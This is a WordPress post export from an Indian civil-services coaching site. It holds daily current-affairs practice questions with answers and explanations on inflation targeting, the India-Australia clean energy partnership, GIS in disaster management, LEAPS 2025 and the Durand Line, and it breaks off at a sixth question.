{"id":2583,"date":"2025-10-18T07:01:47","date_gmt":"2025-10-18T07:01:47","guid":{"rendered":"https:\/\/iasquest.com\/?p=2583"},"modified":"2026-02-11T18:50:28","modified_gmt":"2026-02-11T18:50:28","slug":"daily-current-affairs-15-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-15-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 15-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. The inflation target in India is set by the Reserve Bank of India (RBI), in consultation with the Government of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. The inflation target in India is based on core CPI inflation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">III. If the inflation remains outside the 2\u20136% band for three consecutive quarters, the RBI must submit a report to the Government<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) I and II\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) II and III\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) I and III\u00a0\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (d) III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Inflation lessons: On the inflation data and the RBI<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>India\u2019s Inflation Targeting Framework:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Inflation targeting in India refers to the monetary policy framework where the central bank (RBI) aims to maintain inflation at a targeted level, using tools like interest rates.<\/li>\n\n\n\n<li>It was formally adopted in 2016 after the amendment of the Reserve Bank of India Act, 1934 through the Finance Act, 2016.<\/li>\n\n\n\n<li>The amended RBI Act provides for a Monetary Policy Framework Agreement (MPFA) between the Government of India and the RBI.<\/li>\n\n\n\n<li>Under this framework, the primary objective of monetary policy is to maintain price stability, while keeping in mind the objective of growth.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>The targeted inflation rate is:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>4% Consumer Price Index (CPI) inflation,<\/li>\n\n\n\n<li>With a tolerance band of \u00b12%, i.e., minimum 2% and maximum 6%.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>The <strong>inflation target in India is set by the Government of India<\/strong>, in <strong>consultation with the Reserve Bank of India (RBI)<\/strong>. <strong>Henec statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>The Monetary Policy Committee (MPC) is responsible for setting the policy (repo) rate to meet this inflation target.<\/li>\n\n\n\n<li>The inflation target (4% \u00b12%) was first notified for the period 2016\u20132021, and later extended for 2021\u20132026.<\/li>\n\n\n\n<li>The inflation target in India is based on headline CPI inflation, not core inflation or WPI. <strong>Henec statement II is incorrect.<\/strong><\/li>\n\n\n\n<li>If the inflation remains <strong>outside the 2\u20136% band for three consecutive quarters, the RBI must submit a report to the Government<\/strong> explaining:<ul><li>Reasons for failure<\/li><\/ul><ul><li>Remedial actions<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Estimated time for returning to target. <strong>Hence statement III is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. In India, which one of the following is responsible for maintaining price stability by controlling inflation?<\/strong> <br><br>(a) Department of Consumer Affairs <br>(b) Expenditure Management Commission <br>(c) Financial Stability and Development Council <br><strong>(d) Reserve Bank of India<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/editorial\/inflation-lessons-on-the-inflation-data-and-the-rbi\/article70163069.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/editorial\/inflation-lessons-on-the-inflation-data-and-the-rbi\/article70163069.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>2. Which among the following are the areas of collaboration under the India-Australia Renewable Energy Partnership (REP)?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">1. Solar and wind energy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">2. Green hydrogen technology<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">3. Grid management and storage solutions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">4. Clean energy investment and innovation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(a) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>In NEWS: <\/strong>Powering up the Australia-India clean energy partnership<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>India\u2013Australia Renewable Energy Partnership (REP):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">The India-Australia Renewable Energy Partnership (REP) was launched in September 2021 as part of both countries\u2019 broader efforts to combat climate change and promote clean energy cooperation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>The partnership aims to advance renewable energy collaboration, especially in:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>Solar and wind energy<ul><li>Hydrogen technology (especially green hydrogen)<\/li><\/ul><ul><li>Grid management and storage solutions<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Clean energy investment and innovation. <strong>Hence all are correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>It supports the goals of:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>India\u2019s National Hydrogen Mission\n<ul class=\"wp-block-list\">\n<li>Australia\u2019s Technology Investment Roadmap<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The REP is aligned with both nations\u2019 <strong>net-zero commitments \u2014 India by 2070 and Australia by 2050.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>The partnership enhances:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>Public and private sector cooperation<ul><li>Research and development exchanges<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Policy dialogue and capacity building<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The REP also ties into the Indo-Pacific strategic cooperation, especially for promoting energy security and sustainable development in the region.<\/li>\n\n\n\n<li>It is part of the broader India\u2013Australia Comprehensive Strategic Partnership, which includes trade, defense, education, and climate cooperation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/powering-up-the-australia-india-clean-energy-partnership\/article70163996.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/powering-up-the-australia-india-clean-energy-partnership\/article70163996.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>3. Geographic Information Systems (GIS) can assist disaster management authorities in which of the following ways?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">1. Hazard zonation and vulnerability mapping<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">2. Evacuation route optimization<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">3. Real-time rainfall forecasting<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">4. Overlaying population density with flood zones<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Answer: (b) 1, 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>In NEWS: <\/strong>How to harness technology for effective disaster management<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>Climate change has increased the frequency, intensity, and unpredictability of disasters such as floods, cyclones, cloudbursts, and landslides.<\/li>\n\n\n\n<li>Traditional disaster management approaches are reactive; there is now a need for proactive, data-driven systems using modern technology.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Role of Technology in Disaster Management:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>A. Remote Sensing (RS)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>Provides <strong>real-time data<\/strong> through satellites, aircraft, or drones.<\/li>\n\n\n\n<li>Used for <strong>monitoring rainfall, land cover change, soil moisture, river flow<\/strong>, and <strong>detecting disaster-prone areas<\/strong>.<\/li>\n\n\n\n<li>Enables <strong>post-disaster assessment<\/strong> of damage and recovery.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>B. Geographic Information Systems (GIS)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Integrates <strong>spatial and non-spatial data<\/strong> for hazard mapping and risk analysis.<\/li>\n\n\n\n<li>Helps in <strong>evacuation route planning<\/strong>, <strong>vulnerability mapping<\/strong>, and <strong>decision support<\/strong>.<\/li>\n\n\n\n<li>Used in <strong>flood zonation, cyclone path tracking<\/strong>, and <strong>infrastructure planning<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Note: <\/strong>GIS is a spatial analysis tool; real-time rainfall forecasting depends on meteorological models, not GIS directly. <strong>Hence 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>C. Sensor Networks \/ Internet of Things (IoT)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Deployed in the field to provide <strong>real-time monitoring<\/strong> of rainfall, river levels, or soil moisture.<\/li>\n\n\n\n<li>Helps issue <strong>early warnings<\/strong> when thresholds are crossed.<\/li>\n\n\n\n<li>Improves <strong>accuracy of forecasting systems<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>D. Unmanned Aerial Vehicles (UAVs) \/ Drones<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Used for <strong>rapid aerial surveys<\/strong> in inaccessible or high-risk zones.<\/li>\n\n\n\n<li>Helps in <strong>damage assessment, locating victims, and delivering relief materials<\/strong>.<\/li>\n\n\n\n<li>Provides <strong>high-resolution images<\/strong> to guide emergency response.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>E. Artificial Intelligence (AI) &amp; Machine Learning (ML)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Processes large datasets for <strong>pattern recognition, prediction, and analysis<\/strong>.<\/li>\n\n\n\n<li>Used to <strong>forecast floods, landslides, and cyclones<\/strong> with higher accuracy.<\/li>\n\n\n\n<li>Helps optimize <strong>resource allocation<\/strong> and <strong>rescue operations<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>F. Communication and Mobile Technologies<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>Enable <strong>timely alerts<\/strong> to citizens via SMS, apps, or sirens.<\/li>\n\n\n\n<li>Ensure <strong>connectivity<\/strong> in disaster-hit areas through <strong>mesh and satellite networks<\/strong>.<\/li>\n\n\n\n<li>Facilitate <strong>real-time coordination<\/strong> among agencies.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>G. Decision Support Systems (DSS)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>Integrate all data sources\u2014RS, GIS, IoT, and AI\u2014into <strong>interactive dashboards<\/strong>.<\/li>\n\n\n\n<li>Assist decision-makers with <strong>visualization, analytics, and scenario planning<\/strong>.<\/li>\n\n\n\n<li>Support <strong>multi-agency collaboration<\/strong> during disasters.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>H. Geospatial Platforms<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-72\">\n<li>Disseminate <strong>maps and real-time data<\/strong> to authorities and the public.<\/li>\n\n\n\n<li>Support <strong>transparency and preparedness planning<\/strong>.<\/li>\n\n\n\n<li>Example: National geoportals integrating hazard and vulnerability maps.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Indian Initiatives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li><strong>Sachet App<\/strong> \u2013 Real-time multilingual disaster alerts.<\/li>\n\n\n\n<li><strong>Bhuvan Portal (ISRO)<\/strong> \u2013 Satellite-based disaster monitoring.<\/li>\n\n\n\n<li><strong>Digital Panchanama (Maharashtra)<\/strong> \u2013 GPS-based damage assessment for quick compensation.<\/li>\n\n\n\n<li><strong>Urban Flood Forecasting Systems<\/strong> \u2013 Localized flood prediction using sensors and GIS.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><strong>Q. In which of the following activities are Indian Remote Sensing (IRS) satellites used?<\/strong> <br><br>1. Assessment of crop productivity <br>2. Locating groundwater resources <br>3. Mineral exploration <br>4. Telecommunications <br>5. Traffic studies <br><br><strong>Select the correct answer using the codes given below.<\/strong> <br><br><strong>(a) 1, 2 and 3 only<\/strong> <br>(b) 4 and 5 only <br>(c) 1 and 2 only <br>(d) 1, 2, 3, 4 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/how-to-harness-technology-for-effective-disaster-management-10306728\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/how-to-harness-technology-for-effective-disaster-management-10306728\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>4. With reference to the Logistics Excellence, Advancement, and Performance Shield (LEAPS) 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">1. It is a flagship initiative launched by the Ministry of Road Transport and Highways as part of the Bharatmala project.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">2. The initiative aims to benchmark and reward best practices in the logistics sector across India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS:<\/strong> Union Minister for Commerce and Industry, Shri Piyush Goyal launches LEAPS 2025 to benchmark logistics excellence in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>LEAPS 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>LEAPS 2025 stands for <strong>Logistics Excellence, Advancement, and Performance Shield 2025<\/strong>.<\/li>\n\n\n\n<li>Launched by the <strong>Union Ministry of Commerce and Industry<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Implemented by the <strong>Department for Promotion of Industry and Internal Trade (DPIIT)<\/strong>.<\/li>\n\n\n\n<li>Announced during the <strong>4th anniversary of PM GatiShakti<\/strong> at <strong>Bharat Mandapam, New Delhi<\/strong>.<\/li>\n\n\n\n<li>The initiative aims to <strong>benchmark, recognise, and reward best practices<\/strong> in India\u2019s logistics sector. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Registrations opened in <strong>2025<\/strong>, with a deadline of <strong>15th November 2025<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>To <strong>promote excellence, innovation, and sustainability<\/strong> in logistics operations.<\/li>\n\n\n\n<li>To <strong>encourage collaboration<\/strong> among industry, government, and academia.<\/li>\n\n\n\n<li>To <strong>enhance logistics efficiency and reduce costs<\/strong> across the supply chain.<\/li>\n\n\n\n<li>To strengthen India\u2019s logistics ecosystem for a <strong>future-ready, globally competitive economy<\/strong>.<\/li>\n\n\n\n<li>To support national missions like <strong>Make in India<\/strong>, <strong>Atmanirbhar Bharat<\/strong>, and <strong>Viksit Bharat @ 2047<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Alignment with National Policies<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>LEAPS 2025 aligns with the <strong>National Logistics Policy (NLP) 2022<\/strong>.<\/li>\n\n\n\n<li>It supports the <strong>PM GatiShakti National Master Plan<\/strong> for integrated infrastructure.<\/li>\n\n\n\n<li>The initiative contributes to India\u2019s <strong>logistics cost reduction target<\/strong> and global competitiveness.<\/li>\n\n\n\n<li>It reinforces the government\u2019s vision of <strong>\u201cWhole-of-Government\u201d<\/strong> approach in logistics reform.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Scope and Coverage<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-94\">\n<li>Covers all major logistics modes: <strong>Air, Road, Rail, and Maritime freight operators<\/strong>.<\/li>\n\n\n\n<li>Includes <strong>Warehousing providers<\/strong> \u2013 industrial, consumable, and agricultural.<\/li>\n\n\n\n<li>Extends to <strong>Multimodal transport operators<\/strong>, <strong>MSMEs<\/strong>, and <strong>Startups<\/strong>.<\/li>\n\n\n\n<li>Involves <strong>Technology and operations service providers<\/strong> in logistics.<\/li>\n\n\n\n<li>Recognises <strong>Academic and Research institutions<\/strong> contributing to logistics education and innovation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleseDetailm.aspx?PRID=2178621\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleseDetailm.aspx?PRID=2178621<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>5. Which one of the following statements best reflects the issue with the Durand Line, sometimes mentioned in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(a) It is a disputed land corridor between India and China claimed by both countries in the Ladakh region.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(b) It is an old Silk Route boundary, now used as a trade corridor between Iran and Pakistan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(c) It is the operational boundary between Afghanistan and Pakistan, whose legal status remains unrecognized by Afghanistan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(d) It is a maritime boundary between Pakistan and the UAE, contested due to offshore energy resources.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Answer: (c) It is the operational boundary between Afghanistan and Pakistan, whose legal status remains unrecognized by Afghanistan.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>In NEWS: <\/strong>Afghanistan and Pakistan face escalating border clashes. Deadly exchanges have erupted along the Durand Line, a border Afghanistan disputes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Durand Line:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li>The Durand Line is a 2,640-kilometre (1,640-mile) long international border between Afghanistan and Pakistan.<\/li>\n\n\n\n<li>Established in: 1893<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Signed between:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li>Sir Mortimer Durand (British diplomat, representing British India)\n<ul class=\"wp-block-list\">\n<li>Amir Abdur Rahman Khan (Emir of Afghanistan)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Purpose: To demarcate the spheres of influence between British India and Afghanistan.<\/li>\n\n\n\n<li>The line runs through rugged, mountainous terrain, cutting across the Pashtun tribal areas and the Baloch region.<\/li>\n\n\n\n<li>It passes through provinces such as:<ul><li>Khyber Pakhtunkhwa (Pakistan)<\/li><\/ul><ul><li>Balochistan (Pakistan)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Eastern Afghanistan<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Controversy and Disputes:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-109\">\n<li>Pakistan regards the Durand Line as its official international border with Afghanistan.<\/li>\n\n\n\n<li>Afghanistan has never officially accepted the Durand Line as an international border post-1947.<\/li>\n\n\n\n<li>Successive Afghan governments argue that the agreement was signed under duress.<\/li>\n\n\n\n<li>It divides ethnic Pashtuns and tribal communities, which Afghanistan considers a colonial imposition.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Which one of the following statements best reflects the issue with Senkaku Islands, sometimes mentioned in the news?<\/strong> <br><br>(a) It is generally believed that they are artificial islands made by a country around South China Sea. <br><strong>(b) China and Japan engage in maritime disputes over these islands in East China Sea.<\/strong> <br>(c) A permanent American military base has been set up there to help Taiwan to increase its defence capabilities. <br>(d) Though International Court of Justice declared them as no man&#8217;s land, some South-East Asian countries claim them.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/defence\/pakistan-and-afghanistan-clash-along-durand-line-whats-unfolding-between-indias-neighbours\/articleshow\/124503846.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/defence\/pakistan-and-afghanistan-clash-along-durand-line-whats-unfolding-between-indias-neighbours\/articleshow\/124503846.cms?from=mdr<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>6. Consider the following regions:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">1. Paracel islands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">2. Spratly islands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">3. Senkaku islands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">4. Pratas Islands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>How many of the above regions are a part of the South China Sea?<\/strong><\/p>\n\n\n\n<p 